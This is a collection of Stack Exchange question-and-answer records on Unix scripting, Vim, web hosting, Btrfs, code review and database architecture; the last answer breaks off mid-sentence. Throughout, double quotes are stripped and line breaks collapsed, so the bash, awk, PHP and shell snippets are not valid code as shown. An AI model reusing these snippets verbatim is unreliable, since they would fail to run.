{  "id": "_unix.263446"  , "question": "I want to copy the last used (or maybe created) files of a total size to another folder. Is this possible without additional tools?I have an USB drive of a certain size that is less than the total size of a folder. As I can't copy all files to USB I like to copy based on latest usage until there is no more space. Ideally the method also supports updating the files without the need to erase all files and re-copy them."  , "title": "Copy last used files of total size"  , "tags": "linux;rsync;file copy"  , "accepted_answer": "On the assumption (based on the [linux] tag) that you have bash available, as well as the stat and sort commands; on the further assumption that you want to sync the most-recently-modified files first (see man stat for other timestamp options), then here is a bash script that will loop through all the files in the current directory (for f in * is the key line for that), gathering their last-modified timestamps into an array, then it loops through the sorted timestamps and prints -- a sample! -- rsync command for each file (currently has timestamp debugging information attached as proof).You'll have to adjust the rsync command for your particular situation, of course. This script will output rsync commands for every file in the current directory; my suggestion would be to either execute these rsync's blindly, letting the ones at the end fail, or to put them into a script to execute separately. This script does not attempt to optimize the space utilization of the destination in any way -- the only ordering it does is the last-modification timestamp (and the arbitrary ordering of the associative array in case there are multiple files modified in the same second).#!/usr/bin/env bashdeclare -A times# gather the files and their last-modified timestamp into an associative array,# indexed by filename (unique)for f in *do  [ -f $f ] && times[$f]=$(stat -c %Y $f)done# get the times in (unique) sorted orderfor times in ${times[@]}do  echo $timesdone | sort -run | while read tdo  # then loop through the array looking for files with that modification time  for f in ${!times[@]}  do    if [[ ${times[$f]} = $t ]]    then      echo rsync $f -- timestamp ${times[$f]}    fi  donedone"  } 
{  "id": "_unix.31579"  , "question": "I frequently use :ab to save typing time during coding. For e.g. :ab mat matrix to replace mat by matrix every time I type mat. Is there any way of storing and loading the abbreviations I create for a given file?I want something to store my abbreviations as and when I declare them and also reload them when I open a file. I would prefer the abbreviations to be local to a file rather than global but I can work around this if necessary."  , "title": "Storing Abbreviations in Vim"  , "tags": "vim"  , "accepted_answer": "If it's for a single specific file, you could add an autocommand (:help autocommand or :help 40.3) to your .vimrc:au BufRead,BufNewFile /path/to/foobar call FoobarSettings()function FoobarSettings()  ab mat matrix   ... more setup commandsendfunctionChange foobar to something that makes more sense for you.A less flexible clunkier shotgun-style approach is to use sessions (:help sessions or :help 21.4).  It is unwieldy because sessions by default save a great deal of things including window sizes, open files, options, mappings, folds, etc.  You can change this with the 'sessionoptions' option if you like.After you've created opened the file and set up the abbreviations, :mksession! sessionfile.vim.To restore the session, from the shell you can do vim -S sessionfile.vim or from inside vim you can do :source sessionfile.vim.  "  } 
{  "id": "_webmaster.54366"  , "question": "I'm at my wits' end.I have just ripped out a website and in the process of rebuilding everything.Previously, the 'home page' of the website is a blog, with the address www.mydomain.com/blog1.php.After exporting everything, I deleted the whole directory, and -- based on request -- immediately create a blog/ directory. The idea is to get the blog back up as soon as possible, and temporarily redirect people accessing www.mydomain.com to the blog.Accessing the blog via http://www.mydomain.com/blog/ works. So I put in an index.php file containing a (temporary) redirect to the blog's address.The problem: The server insists on opening blog1.php instead of index.php. Even after we deleted all the files (including .htaccess). And even putting in a new .htaccess file with the single line of DirectoryIndex index.php doesn't work. The server stubbornly wants blog1.php.Now, the server is actually a webhosting, so I have no actual access to it. I have to do my work via cPanel.Currently, I work around this issue by creating blog1.php; but I really want to know why the server does not revert to opening index.php. Did I perhaps miss some important settings in the byzantine cPanel menu page?"  , "title": "Webserver insists on opening blog1.php instead of index.php"  , "tags": "php;htaccess;cpanel"  } 
{  "id": "_codereview.18302"  , "question": "There are a number of different ways to do this. What do people prefer and why?public boolean checkNameStartsWith(List<Foo> foos) {    for (Foo foo : foos) {        if (!(foo.getName().startsWith(bar))) {            return Boolean.FALSE;        }    }    return Boolean.TRUE;}"  , "title": "Looping over a list, checking a boolean and return value"  , "tags": "java"  } 
{  "id": "_softwareengineering.178149"  , "question": "I'm working on a software problem at work that is fairly generic, but I can't find a library I like to solve it, so I'm considering writing one myself (at least a bare-bones version).  I'll be writing some if not all of the 1.0 version at work, since I need it for the project. If turns out well I might want to bring the work home and polish it up just for fun, and maybe release it as an open-source project.  However, I'm concerned that if I wrote the 1.0 version at work I may not be allowed to do this from a legal sense.  Obviously I could ask my boss (who probably won't care), but I'm curious how other programmers have dealt with this issue and where the law stands here.  My one sentence question is, When is it okay (legally/ethically) to open-source a software tool originally written by you for work at work?  What if you have expanded the original source significantly during off-hours?Follow-up: Suppose I write the whole thing at home on my time then simply use it at work, does that change things drastically?Follow-up 2: Note that I'm not trying to rip off my employer (I understand that they're paying me to build products that they own)--I'm just wondering if there's a fair way of doing this for all involved... It would be nice if some nonprofit down the road could use my code and save them some time.  Also, there's another issue at stake.  If I write the library for a very simple, generic thing (like HTML tables in Javascript), does that mean I can never again do so on my own time without putting myself at legal risk (even if it was a whole new fresh rewrite or a segment of a larger project).  Am I surrendering my right to write code for this sort of project for the rest of my life (without this company's permission), since the code at work might still be somewhere in my brain influencing me? This seems related to software patents, as a side-note."  , "title": "When can I publish a software tool written at work?"  , "tags": "legal"  , "accepted_answer": "It is almost never OK, legally or ethically, to release products that you have created using your employer's resources or while being payed by the employer for your time without permission.However, it depends on your employment contract. If you were paid by the company and/or used company resources to produce the product, chances are that the work belongs to your company. You need to go through your supervisor and your legal department. Depending on your employment contract, there might also be restrictions on working on related technologies or using knowledge gained at your employer in projects, even if you work on them using personal resources on your own time.If you are using paid time, company resources, or are developing something that might be considered related to the business of your company, always seek guidance from your manager and/or legal department to ensure that you aren't violating any agreements and to get the appropriate permission to work on projects. Typically, it's easier to do this before you begin work as it might change the approaches that you take on the project.Writing products for the use at work on your own time is questionable and depends on the regulations that your employer must adhere to. At the very least, you could be interfering with your employers schedule, budget, and estimates by taking work off-line. In some cases, you could be violating the contractual regulations by creating products outside of time that is tracked and billed appropriately."  } 
{  "id": "_unix.325757"  , "question": "Short Version: I'm doing regular backups with help of Btrfs send and receive commands. The snapshot which contains the data to be backed up (SOURCE) is a read-only snapshot. Creating this snapshot with Btrfs is atomic. The backup then is made using a combination of Btrfs send and receive commands. My question is: Does the Btrfs receive command also create the backup snapshot atomically on the destination volume?Long Version: For my daily backup strategy I use Btrfs to send changes of a source sub-volume to a backup-drive. The sub-volume I want to backup is located in SOURCE, while the backup itself will be stored in DEST.Before I can make a backup, I need a read-only snapshot of SOURCE which I will store below SOURCE itself in a sub-directory called .snapshots. This is done with the commandsbtrfs subvolume snapshot -r SOURCE SOURCE/.snapshots/current_backupsyncThe sync command above is needed according to the Btrfs-wiki to make btrfs send work. Now I want to send the snapshot called current_backup to a backup volume DEST on a different drive. I do this with the commandbtrfs send SOURCE/.snapshots/current_backup | btrfs receive DESTMy question is about the btrfs receive part of this backup process: Does this happen atomically? In other words: Is the backup on volume DEST only available if it has been completely received and written?"  , "title": "Is Btrfs Receive-Command Atomic?"  , "tags": "backup;btrfs"  , "accepted_answer": "No, it is not atomic. Btrfs receive does create a subvolume, so that's atomic, but initially the subvolume is empty. Then, btrfs receive fills the subvolume with the incoming data.You can test this by cd'ing to DEST while performing the backup and doing ls or find repeatedly."  } 
{  "id": "_webmaster.79382"  , "question": "We're using a few Google APIs on our site such as embed maps, static maps and address lookup.We were thinking about removing these and going with other services, or even saving the returned static map as an image and loading that instead of doing a Google request every time.If we did that, would our rank in Google decrease?"  , "title": "Does Google rank websites higher for using their APIs?"  , "tags": "google;pagerank;google ranking"  } 
{  "id": "_codereview.93545"  , "question": "In light of the recent SQL frenzy of sorts in The 2nd Monitor, I decided to take a stab at writing my own SEDE query. Essentially, what it does is find questions that could be answered based on the following parameters.-- @MinQuestionVotes - The minimum amount of votes on a question.-- @MaxQuestionAnswers - The maximum amount of answers to a question.-- @QuestionTags - The tags that should be on the questions.At the moment, I feel that those parameters are necessary for finding possible questions to answer, but if you feel that one isn't needed, just mention it. Anyways, here's the code, and here's the SEDE query link.-- User parameters for finding questions. Here is-- a brief description of what each parameter does.  -- @MinQuestionVotes - The minimum amount of votes on a question.  -- @MaxQuestionAnswers - The maximum amount of answers to a question.  -- @QuestionTags - The tags that should be on the questions.DECLARE @MinQuestionVotes INT = ##MinQuestionVotes##;DECLARE @MaxQuestionAnswers INT = ##MaxQuestionAnswers##;DECLARE @QuestionTags NVARCHAR(150) = ##QuestionTag1##;-- SELECT the final results. Data is filtered based-- on the following conditions.  -- ClosedDate  IS EQUAL TO              null  -- PostTypeId  IS EQUAL TO              question  -- Score       GREATER THAN OR EQUAL TO @MinQuestionVotes  -- AnswerCount LESS THAN OR EQUAL TO    @MaxQuestionAnswers  -- Tags        CONTAIN                  @QuestionTagsSELECT    Posts.Id AS [Post Link]  , OwnerUserId AS [User Link]  , Posts.Score  , Posts.Tags  , Posts.ViewCount  , Posts.AnswerCount  FROM Posts     INNER JOIN PostTags ON Posts.Id = PostTags.PostId    INNER JOIN Tags ON PostTags.TagId = Tags.Id  WHERE    Posts.PostTypeId = 1 AND    Posts.ClosedDate IS NULL AND    Posts.Score >= @MinQuestionVotes AND    Posts.AnswerCount <= @MaxQuestionAnswers AND    Tags.TagName LIKE CONCAT('%', @QuestionTags, '%');Finally, here's an example of possible inputs. When entering into the QuestionTags field, you need to surround your tags with single quotes, like this: 'python'.@MinQuestionVotes:   1@MaxQuestionAnswers: 0@QuestionTags:       'python'"  , "title": "Finding questions to answer"  , "tags": "sql;sql server;stackexchange"  , "accepted_answer": "First, your comments:They're structured well, but, the content could be improved:-- SELECT the final results. Data is filtered based   ^^^^^^^^^^^^^^^^^^^^^^^^^-- on the following conditions.You're not really SELECTing the final results, you SELECT them based on the conditions, you don't SELECT them and then filter them.Your declaration DECLARE @QuestionTags NVARCHAR(150) = ##QuestionTag1## is a little confusing:Tags is plural, but then the variable you ask for input is Tag1 (singular)?You ask for input like ##MinQuestionVotes##, but there's no reason to abbreviate, it could really just be:##MinimumQuestionVotes##. Same things applies to the other two.Finally, CONCAT('%', @QuestionTags, '%') is good, but you could really just:'%' + @QuestionTags + '%' instead.You could even build the tag string with the ' attached so the user doesn't need to input.Other than that, your code looks really clean and nice. Good Work!"  } 
{  "id": "_unix.59790"  , "question": "Right now I'm using OpenSUSE 12.2 with KDE 4.9.4. If I upgrade that to KDE 4.10 in January, will it also bring in Qt 5 (or at least newer Qt packages)? Or are the Qt packages tied to the OS?"  , "title": "Will updating KDE also update Qt?"  , "tags": "kde;opensuse;qt"  } 
{  "id": "_unix.206163"  , "question": "I was trying to create a cron job which runs a ruby code on digital ocean, however it seems I'm making a mistake. It doesn't give any error but it doesn't also do anything. I ran this cronjob on my raspberry pi however on digital ocean it doesn't work. Here my cronjob59 17 * * * ruby /home/workspace/delta/analytics/analyze.rb 7 >> /home/testrubyIt creates testruby file but analyze.rb 7 doesn't work. I tested running ruby /home/ .... and it is working. What might be the problem?UPDATEerror file: bin/sh: 1: /usr/local/bin/ruby: not foundThis is what I wrote in my crontab* * * * * /usr/local/bin/ruby /home/workspace/deriva/analytics/analyze.rb 7 >> /home/testruby 2>&1"  , "title": "Running a ruby cron job"  , "tags": "cron"  , "accepted_answer": "Different environment variables, working directory, ... You need to debug where exactly analyze.rb is bailing out.First, you're only redirecting stdout, not stderr. Errors probably go to the later, so adding a 2>&1 to the end may help a lot. Or setting EMAIL= at the top of your crontab to have them mailed to you.You can confirm that ruby is starting up the print starting!\\n or similar to the beginning of your Ruby script, and seeing if that shows up in the log file."  } 
{  "id": "_softwareengineering.189026"  , "question": "This has been bugging me for a while. Most of the time, when it comes to storing data in structures such as hashtables, programmers, books and articles insist that indexing elements in said structures by String values is considered to be bad practice. Yet, so far, I have not found a single such source to also explain WHY it is considered to be bad practice. Does it depend on the programming language? On the underlying framework? On the implementation?Take two simple examples, if it helps:An SQL-like table where rows are indexed by a String primary key.A .NET Dictionary where the keys are Strings."  , "title": "Why is the usage of string keys generally considered to be a bad idea?"  , "tags": "programming practices;data structures;database design"  , "accepted_answer": "It all has to do with the two things basically:1) The speed of lookup (where integers for instance fare much better)2) The size of indexes (where string indexes would explode)Now it all depends on your needs and the size of the dataset. If a table or a collection has like 10-20 elements in it, the type of the key is irrelevant. It will be very fast even with a string key.P.S. May not be related to your question, but Guids are considered bad for database keys too (16 byte Guid vs. 4 byte integer). On large data volumes Guids do slow down lookup."  } 
{  "id": "_softwareengineering.113393"  , "question": "As an expansion from my previous question about using separate projects for seperate layers - Good practice on Visual Studio SolutionsI now wish to know if I am putting the right functionality in the correct layers.BackgroundI'm building a WPF application from scratch, that contains business logic and business objects. The database itself sits on another server on the web with access to it, restricted to web API calls using OAuth authentication.I think the following content should be in these layers. The idea being, you go from layer 1 to layer 4, you are only depending on the layers below you. To prevent circular dependencies.1. PresentationWPF View (what the user will see)WPF ViewModel (how the program responds to user interaction)No WPF Model, as it will just be the business object2. Application/ServicesRepository (class used by ViewModel to load/save business objects)Utility classes to assist in saving objects, by selecting the correct API calls.3. Business layerBusiness objects/Entities/DTO (whichever name is preferred)Factories (Used by the repositories in the creation of business objects)Other misc business class (i.e. storage of currently logged in user)4. Infrastructure/Data AccessOAuth client (makes authenticated calls against the web server, used by repository classes)"  , "title": "Recommended content for layers"  , "tags": "design;design patterns;architecture;design principles;layers"  } 
{  "id": "_unix.327599"  , "question": "So, I have zero to none programming/coding experience though I'm trying to avoid having to manually load, edit and save 1600 files using AutoDock Tools.I have 1600 PDB files that I need to convert to PDBQT file for autodockVina docking. This would take a month using the ADT GUI so I though I'd do it using awk. Yes, I though about using openBabel to do this though since the PDB files I have are non-standard format it does not work.I mange to iterate through several files, reading the PDB and reproducing the PDBQT files using a buttload of nested if's. I now it's not pretty, anywhere, but its still better then the alternative.It all seems to be working except for three things 1) I have to add TER as the last line entry in every file. I can either get it in the last file OR in every file BUT the last file.... I cannot figure out where to place the print TER > out12) I'm guessing I might need to close the output at some point to avoid running out of memory, so I might need to place an close(out1) somewhere.3) I have a swedish-counting computer meaning that . and , means different things. Since I could not find a way to use gsub to convert backwards without saving all to a file, opening that file, converting back and closing, I'm running the script as LC_NUMERIC=us_US.UTF-8 ./awkFile.awk input.fileIs there any way to put this in the script instead of at the prompt?It has taking me a several hours to get to this point and now I've given up :-) Any help is appreciated, this is what I have:#!/usr/bin/awk -fBEGIN { }FNR==1 && NR!=1 { var=x=; }  # works though skips the last fileFNR==1 { out1=scriptTest_FILENAME.pdbqt; print REMARK   4 XXXX COMPLIES WITH FORMAT V. 2.0 > out1; next; }{ endFunction(); print TER > out1;}END {  }function endFunction(){  var=    if ( $3 ~ C || $3 ~ N || $3 ~ O || /H5  MAA/ || /H16 DP/ || /H15 DP/ ) {    # look for particular MAA atoms and assign the same values as in FF    if ( /C   MAA X/ ) { var =    0.170 C  }    ...    if ( /H5  MAA X/ ) { var =    0.167 HD }    # look for particular XLI atoms and assign the same values as in FF    if ( /C   XLI X/ || /C7  XLI X/ ) { var =    0.054 C  }    ...    if ( /C3  XLI X/ || /C4  XLI X/ ) { var =    0.206 C  }#        x+=1        printf %-s %6d %s %-3s %3s %s %3d %11.3f %7.3f %7.3f %5.2f %5.2f %s\\n, $1, x, , $3, $4, $5, $6, $7, $8, $9, $10, $11, var > out1;  }  # print TER > out1;  needs to be added after the last line in each file  # I suppose I also need to solve the open-file issue.  # close(out1); return  # And the decimal point thing...}The ... is replacing something like 120 lines of if's :-P"  , "title": "Using awk to print to last row of every file and closing"  , "tags": "awk;scripting;osx"  } 
{  "id": "_softwareengineering.236780"  , "question": "I have a website that allows for users to paste content (like snippets of code, etc) for sharing.  Like Pastebin and Github, I also have a raw link that will display the raw contents of those posts.However, some users are posting up code and then using our service as a host for distributing content that violates our TOS (for example, javascript code and then linking to that code from external sites).Running on NGINX and PHP, what is the best way to manage this?I have a feature that when reported, I can disable the raw version of a particular post.  However, it is not feasible to monitor each and every post (and then be sure that I understand what is good / what is bad).Is my only solution to disable raw functionality across the board?  Should I block the raw versions from sites like facebook (using referrer maybe)?  I played around with hotlink protection, but in all truth, it doesn't really appear to work all that well (or it could be just my configuration of it)."  , "title": "User Generated Content and Hotlink Protection"  , "tags": "php"  , "accepted_answer": "Output raw content in plain text and tell (modern) browsers to honor it.header(Content-Type: text/plain);header('X-Content-Type-Options: nosniff');You can also do a referrer check, but that will disable all external linking to the raw content."  } 
{  "id": "_codereview.30557"  , "question": "I am an average coder trying to improve my Python by doing solved problems in it.One of the problem I did is this, here is the code I tried whichI have based on the official solution:def area(A, B, C):  return float((x[B] - x[A])*(y[C] - y[B]) - (y[B] - y[A])*(x[C] -x[B]))/2x, y = {}, {}n = int(raw_input())for i in xrange(n):  arr = raw_input().split()  x[i] , y[i] = int(arr[0]), int(arr[1])maxarea = 0for i in xrange(n):  for j in xrange(i+1, n):    maxminus, maxplus = -1, -1    for k in xrange(n):      if k != i and k != j:        a = area(i,j,k)        if(a<0):          maxminus = max(maxminus, -a)        else:          maxplus = max(maxplus, a)    if maxplus >= 0 and maxminus >=0:      maxarea = max(maxarea, (maxplus+maxminus))print maxareaThe code is still giving me TLE on test case 7.Can anybody suggest further optimization?"  , "title": "Is any further optimization possible? (Codeforces)"  , "tags": "python;optimization"  , "accepted_answer": "You can do some minor optimization as follows:def main():    n = int(raw_input())    coords = list([i] + map(int, raw_input().split()) for i in range(n))    max_area = 0    for a, Ax, Ay in coords:        for b, Bx, By in coords[a+1:]:            max_minus, max_plus = 0, -1            for c, Cx, Cy in coords:                if c != a and c != b:                    ccw = (Bx - Ax) * (Cy - By) - (By - Ay) * (Cx - Bx)                    if ccw < max_minus:                        max_minus = ccw                    elif ccw > max_plus:                        max_plus = ccw            if max_plus >= 0 and max_minus < 0 and max_plus - max_minus > max_area:                max_area = max_plus - max_minus    print(max_area / 2.0)main()Note that your use of float doesn't do anything because the values to be passed are integers. Anyway, there's no need to divide by 2 every time - you can just divide the final value by 2 at the end.I think this still won't pass the speed test, though. If it is doable in python it probably needs an algorithm that makes better use of python's functions and standard library (and are other libraries allowed?). You could try something like this, for example:from itertools import permutationsdef main():    n = int(raw_input())    coords = list([i] + map(int, raw_input().split()) for i in range(n))    max_area = 0    for (a, Ax, Ay), (b, Bx, By) in permutations(coords, 2):        ccws = [(Bx - Ax) * (Cy - By) - (By - Ay) * (Cx - Bx)                 for c, Cx, Cy in coords if c != a and c != b]         low, high = min(ccws), max(ccws)        if low < 0 and high >= 0 and high - low > max_area:            max_area = high - low    print(max_area / 2.0)"  } 
{  "id": "_unix.108724"  , "question": "Kernel = 2.6.23.1-42genisoimage 1.1.6 (Linux)Wodim 1.1.10   Create iso image:genisoimage -V Data_Layer_1 -v -J -r -o cdl_data_1.iso cdl_1/Test integrity of iso image:mount -t iso9660 -o loop cdl_data_1.iso /mnt/iso_test/cksum each of 6 files in iso image against original file, byte counts and CRCs matchumount /mnt/iso_test/Burn iso to CD-R:Close X11 desktop, go to single user console mode as root userinsert blank diskmount -l, check that blank disk isn't mounted wodim -v -dao speed=2 dev=/dev/cdrw cdl_data_1.isoeject diskLook for burn errors:no errors or warnings in wodim outputdmesg | tailcdrom: This disk doesn't have any tracks I recognize! tail /var/log/messageslocalhost kernel: cdrom: This disk doesn't have any tracks I recognize! (The timestamp matches the time the blank disk was inserted)Test individual burned files:startxinsert burned CDexecute cksum on individual files on mounted CD, byte counts do not match, CRC values match example of post-burn cksum comparison   [kfw@localhost ~]$ cksum /media/Data_Layer_1/CDL_2012_004.zip    1556659744 97975264 /media/Data_Layer_1/CDL_2012_004.zip   [kfw@localhost ~]$ cksum CDL_2012_004.zip    752249099 97975264 CDL_2012_004.zipexample of cmp execution on individual files    [kfw@localhost ~]$ cmp /media/Data_Layer_1/CDL_2012_004.zip CDL_2012_004.zip     /media/Data_Layer_1/CDL_2012_004.zip CDL_2012_004.zip differ: byte 705623, line 1199copy individual files from burned CD to HDD, test integrityunzip CDL_2012_004.zip...        error:  invalid compressed data to inflate   bad CRC 27b7a348  (should be eb348979)All data CD burns of different types of binary files suffer this problem; I have burned many dozens of audio disks with no problems at all.Any ideas? "  , "title": "Burned binary files don't match original files"  , "tags": "data cd;burning"  } 
{  "id": "_softwareengineering.301117"  , "question": "JsonLogic is a data format (built on top of JSON) for storing and sharing rules between front-end and back-end code.  It's essential that the same rule returns the same result whether executed by the JavaScript client or the PHP client.Currently the JavaScript client has tests in QUnit, and the PHP client has tests in PHPunit.  The vast majority of tests are given these inputs (rule and data), assert the output equals the expected result.  As the test set grows (and certainly as we add parsers in other languages) how can we maintain just one standard set of test data and expected results that each get executed in each language's testing framework?"  , "title": "Sharing Unit Tests between several language implementations of one spec?"  , "tags": "unit testing;phpunit"  , "accepted_answer": "A simple approach would be to just write one JSON file like:[    [ rule, data, expected ],    [ rule, data, expected ]]And then in each language, download the file, parse it, and test it, row by row. My first inclination was to use a CSV (I'm back now to edit that answer), but as soon as the test data includes objects and arrays, suddenly you have a CSV with JSON in the cells, and it becomes eye-stabbingly frustrating to maintain. "  } 
{  "id": "_unix.61090"  , "question": "I came across the following blurb in some RHEL 6 training documentation: The number of drives that can be installed on modern computers has increased.  With port multipliers, it's relatively easy to configure 16 Serial Advanced Technology Attachment (SATA) drives on a system (assuming you can fit all of those drives). Does this mean that RHEL 6 won't allow more than 16 SATA drives from a software perspective? Or just that practical hardware constraints usually don't allow for more than 16 but it's technically possible?  "  , "title": "Does RHEL 6 enforce software constraints on the number of SATA drvices that can exist on a system?"  , "tags": "rhel;hard disk;sata"  , "accepted_answer": "RHEL's limitations are core- and RAM-based, not drive count-based; the wording is hinting at few chassis being able to mount more than 10 or so drives. Linux itself is limited to 128 SCSI drive devices (sda through sddx)."  } 
{  "id": "_unix.76052"  , "question": "To run my Matlab scripts, I've created a shell script to which I give two parameters - the path to the matlab file ($1) and to the log file ($2):nohup time matlab -some_parameters -r run $1;exit &>> $2 &When I need to kill one of the Matlab processes, it's sometimes difficult to tell which one is which. Would it be possible to somehow include the pid of the Matlab process in the log file (i.e. in $2)?"  , "title": "Print process ID (PID) of a Matlab instance"  , "tags": "shell;shell script;process;kill;matlab"  , "accepted_answer": "In the end, it seems that the Matlab command is subsequently spanning other processes (JVM) when called. However, there is an undocumented function feature that returns the PID of the running Matlab process:nohup time matlabR2012b -nodesktop -nosplash -nodisplay \\  -r fprintf('PID: %s\\n', num2str(feature('getpid')));run $1; exit &> $2 &"  } 
{  "id": "_datascience.15115"  , "question": "Currently, we are working on a school project which is trying to predict the number of crimes in some area/neighbourhood. There are 8 different categories for crimes and we've tried to find the correlation among those categories and now we only have 4 left. Instead of building a model for each category, we want to predict these 4 categories simultaneously by some multi-output algorithm.Our sample size is around 27,000 for 6 years (from 2011 to 2016, 4000+ for each year). We are going to use (maybe) cross-validation to build/test our model.Would you please list 2-3 algorithms which already have fully or partially implemented library in Python (preferred) or R you would recommend to use with our dataset scale?I only found scikit-learn with this algorithm. But it's for classification rather then prediction numbers.This is a intro-level ML course project, the group is not very experienced in the field and the time is limited so we don't want to implement an algorithm from scratch."  , "title": "What are recommended methods for multi-task prediction?"  , "tags": "machine learning;python;neural network;predictive modeling"  } 
{  "id": "_cs.24572"  , "question": "I need to generate binomial random numbers:A binomial random number is the number of heads in $N$ tosses of a coin with probability $p$ of a heads on any single toss. If you generate $N$ uniform random numbers on the interval $(0,1)$ and count the number less than $p$, then the count is a binomial random number with parameters $N$ and $p$.In my case, my $N$ could range from $10^3$ to $10^{10}$ and my $p$ is around $10^{-7}$.  Often my $Np$ is around $10^{-3}$.There is a trivial implementation to generate such binomial random number through loops:getBinomial(int N, double p):  x = 0  repeat N times:    if getUniformRandom() < p: # getUniformRandom() returns a real number in (0,1)       x = x+1  return xThis naïve implementation is very slow, $O(N)$. I tried the Acceptance Rejection/Inversion method [1] implemented in the Colt (http://acs.lbl.gov/software/colt/) lib. It is very fast, but the distribution of its generated number only agrees with the naïve implementation when $Np$ is not very small. In my case when $Np = 10^{-3}$, the naïve implementation can still generate the number 1 after many runs, but the Acceptance Rejection/Inversion method can never generate the number 1 (always returns 0).Does anyone know what is the problem here? Or can you suggest a better binomial random number generating algorithm that can solve my case?[1] V. Kachitvichyanukul, B.W. Schmeiser (1988): Binomial random variate generation, Communications of the ACM 31, 216-222."  , "title": "A binomial random number generating algorithm that works when $Np$ is very small"  , "tags": "algorithms;pseudo random generators"  } 
{  "id": "_unix.363265"  , "question": "I Have a request to alert usage of disk every 30 minutes, The thing is recent output should check old alert to avoid to send same alert again and again.#!/bin/bash#export maillist=mailxxx@gmail.comexport maillist=mailxxx@gmail.com;#df -PH | grep -vE '^Filesystem|none|cdrom'|awk '{ print $5   $6 }' | while read output;df -PH | grep -vE '^Filesystem|none|cdrom|swdepot'|awk '{ print $5   $6 }' > diskcheck.log;#diskcheck is current output whereas disk_alert is previous runned outputif [ -s $HOME/DBA/monitor/log/disk_alert.log ]; then#Getting variables and compare with old  usep=$(awk '{ if($1 > 60) print $0 }' $HOME/DBA/monitor/diskcheck.log | cut -d'%' -f1)  usep1=$(awk '{ if($1 > 60) print $0 }' $HOME/DBA/monitor/log/disk_alert.log | cut -d'%' -f1)  partition=$(cat $HOME/DBA/monitor/diskcheck.log | awk '{ print $2 }' )else   cat $HOME/DBA/monitor/diskcheck.log > $HOME/DBA/monitor/log/disk_alert.logfi**echo $usep;echo $usep1;**if [ $usep -ge 60 ]; then        if [ $usep -eq $usep1 ]; then                mail=$(awk '{ if($usep == $usep1) print $0 }' $HOME/DBA/monitor/diskcheck.log)                echo Running out of space \\$mail ($usep%)\\ on $(hostname) as on $(date) | mail -s Disk Space Alert: Mount $mail is $usep% Used $maillist;        fifiOutput (ERROR):66 65 85 6666 65 85 66disk_alert.sh: line 19: [: 66658566: integer expression expectedI think the problem is in variables($usep and $usep1) it stores the values in single line which means (66 65 85 66), But it should be 66658566Then only:if [ $usep -ge 60 ]; then        this condition will pass.Dear Guru's please help me with workaround. "  , "title": "Compare two files for greater than value"  , "tags": "shell script;text processing;awk;disk usage;numeric data"  } 
{  "id": "_softwareengineering.166539"  , "question": "I may not be able to give the right title to the question. But here it is,We are developing financial portal for wealth management. We are expecting over 10000 clients to use the application. The portal calculates various performance analytics based on the the technical analysis of the stock market.We developed lot of the functionality through Stored procedures, user defined functions, triggers etc. through Database. We thought we can gain huge performance boost doing stuff directly in database than through C# code. And we actually did get a huge performance boost.When I tried to brag about the achievement to our CTO, he counter questioned my decision of having functionality implemented in database rather than code. According to him such applications suffer scalability problems. In his words These days things are kept in memory/cache. Clustered data is hard to manage over time. Facebook, Google have nothing in database. It is the era of thin servers and thick clients. DB is used only to store plain data and functionality should be completely decoupled from the database.Can you guys please give me some suggestions as to whether what he says is right. How to go about architect such an application?"  , "title": "Is having functionality in DB a road block to scalability?"  , "tags": "architecture;database;application design"  , "accepted_answer": "In short, I would agree with your CTO.  You've probably gained some performance at the expense of scalability (if those terms are confusing, I'll clarify below).  My two biggest worries would be maintainability and lack of options to scale horizontally (assuming you are going to need that).Proximity to data:  Let's take a step back.  There are some good reasons for pushing code into a DB.  I would argue that the biggest one would be proximity to the data - for example, if you are expecting a calculation to return a handful of values, but these are aggregations of millions of records, sending the millions of records (on-demand) over the network to be aggregated elsewhere is hugely wasteful, and could kill easily your system.  Having said this, you could achieve this proximity of data in other ways, essentially using caches or analysis DBs where some of the aggregation is done upfront.Performance of code in the DB: Secondary performance effects, such as caching of execution plans are more difficult to argue.  Sometimes, cached execution plans can be a very negative thing, if the wrong execution plan was cached.  Depending on your RDBMS, you may get the most out of these, but you won't get much over parametrised SQL, in most cases (those plans typically get cached, too).  I would also argue that most compiled or JIT'ed languages typically perform better than their SQL equivalents (such as T-SQL or PL/SQL) for basic operations and non-relational programming (string manipulation, loops, etc), so you wouldn't be losing anything there, if you used something like Java or C# to do the number crunching.  Fine-grained optimisation is also pretty difficult - on the DB, you're often stuck with a generic B-tree (index) as your only data structure.  To be fair, a full analysis, including things like having longer-running transactions, lock escalation, etc, could fill books.Maintainability: SQL is a wonderful language for what it was designed to do.  I'm not sure it's a great fit for application logic.  Most of the tooling and practices that make our lives bearable (TDD, refactoring, etc) are difficult to apply to database programming.Performance versus scalability: To clarify these terms, I mean this: performance is how quick you'd expect a single request to go through your system (and back to the user), for the moment assuming low load.  This will often be limited by things like the number of physical layers it goes through, how well optimised those layers are, etc.  Scalability is how performance changes with increasing number of users / load.  You may have medium / low performance (say, 5 seconds+ for a request), but awesome scalability (able to support millions of users).  In your case, you will probably experience good performance, but your scalability will be bounded by how big a server your can physically build.  At some point, you will hit that limit, and be forced to turn to things like sharding, which may not be feasible depending on the nature of the application.Premature Optimisation:  Ultimately, I think you've made the mistake of optimising prematurely.  As others have pointed out, you don't really have measurements showing how the other approaches would work.  Well, we can't always build full-scale prototypes to prove or disprove a theory...  But in general, I'd always be hesitant to chose an approach which trades maintainability (probably the most important quality of an application) for performance.   EDIT:  On a positive note, vertical scaling can stretch quite far in some cases.  As far as I know, SO ran on a single server for quite some time.  I'm not sure how it matches up to your 10 000 users (I guess it would depend on the nature of what they are doing in your system), but it gives you an idea of what can be done (actually, there are far more impressive examples, this just happens to be a popular one people can easily understand).EDIT 2:  To clarify and comment on a few things raised elsewhere:Re: Atomic consistency - ACID consistency may well be a requirement of the system.  The above doesn't really argue against that, and you should realise that ACID consistency doesn't require you to run all your business logic inside the DB.  By moving code which does not need to be there into the DB, you're constraining it to run in the physical environment of the rest of the DB - it's competing for the same hardware resources as the actual data management portion of your DB.  As for scaling only the code out to other DB servers (but not the actual data) - sure, this may be possible, but what exactly are you gaining here, apart from additional licensing costs in most cases?  Keep things that don't need to be on the DB, off the DB.Re: SQL / C# performance - since this seems to be a topic of interest, let's add a bit to the discussion.  You can certainly run native / Java / C# code inside DBs, but as far as I know, that's not what was being discussed here - we're comparing implementing typical application code in something like T-SQL versus something like C#.  There a number of problems which have been difficult to solve with relational code in the past - e.g. consider the maximum concurrent logins problem, where you have records indicating a login or logout, and the time, and you need to work out what the maximum number of users logged in at any one time was.  The simplest possible solution is to iterate through the records and keep incrementing / 